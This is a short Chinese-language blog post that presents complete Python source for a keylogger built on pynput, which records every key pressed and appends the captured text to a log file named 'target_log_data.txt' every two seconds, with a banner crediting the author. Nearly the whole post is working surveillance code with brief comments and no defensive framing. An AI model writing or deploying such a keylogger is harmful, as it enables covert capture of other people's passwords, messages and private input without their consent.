Python实现键盘记录并周期性以追加模式写入文件

  本代码用面向对象的方法比用全局变量来存储键盘记录要更加方便,同时本代码利用threading.Timer来定期执行文件写入(追加)的动作:

  

 1 from pynput.keyboard import Key,Listener
 2 import threading
 3 import sys
 4 
 5 
 6 class KeyLogger:
 7     def __init__(self, interval, filename) -> None:
 8         self.interval = interval     #周期性将键盘记录写入文件,interval定义时间间隔
 9         self.filename = filename     #文件来写入键盘记录
10         self.key_text = ""      #用来存储键盘敲键
11         print("Begin to log keystrokes...")
12     
13     def key_handler(self,k):    
14         try:
15             k = k.char                 #对于非特殊字符,那么具有char属性,如果捕捉到异常,表明为特殊字符
16             self.key_text = self.key_text + k
17         
18         except AttributeError:
19             if k==Key.backspace:
20                 self.key_text = self.key_text + " "
21             elif k== Key.enter:
22                 self.key_text = self.key_text + "\r\n"
23             else:
24                 self.key_text = self.key_text + " "
25      
26     def write_file_timer(self):
27         
28         with open(self.filename,'a+') as f:
29             f.write(self.key_text)
30         self.key_text = ""     #每次将self.key_text的键盘记录写入文件后,该变量中的数据清空用来记录新的敲键
31         timer = threading.Timer(interval, self.write_file_timer)
32         timer.start()
33 
34     def run(self):
35         with Listener(on_press=self.key_handler) as keyer:
36             self.write_file_timer()
37             keyer.join()
38 
39 
40 if __name__ == "__main__":
41     banner = """
42             ********************************************
43 
44             ***************KeyLogger by Jason Wong******
45 
46             ********************************************
47     """
48     print(banner)
49     try:
50         interval = 2
51         filename = "target_log_data.txt"
52         keylogger = KeyLogger(interval=interval, filename=filename)
53         keylogger.run()
54     except KeyboardInterrupt:
55         print("Exit the program now!")
56         sys.exit(0)

 

posted @ 2022-05-08 23:10  Jason_huawen  阅读(128)  评论(0编辑  收藏  举报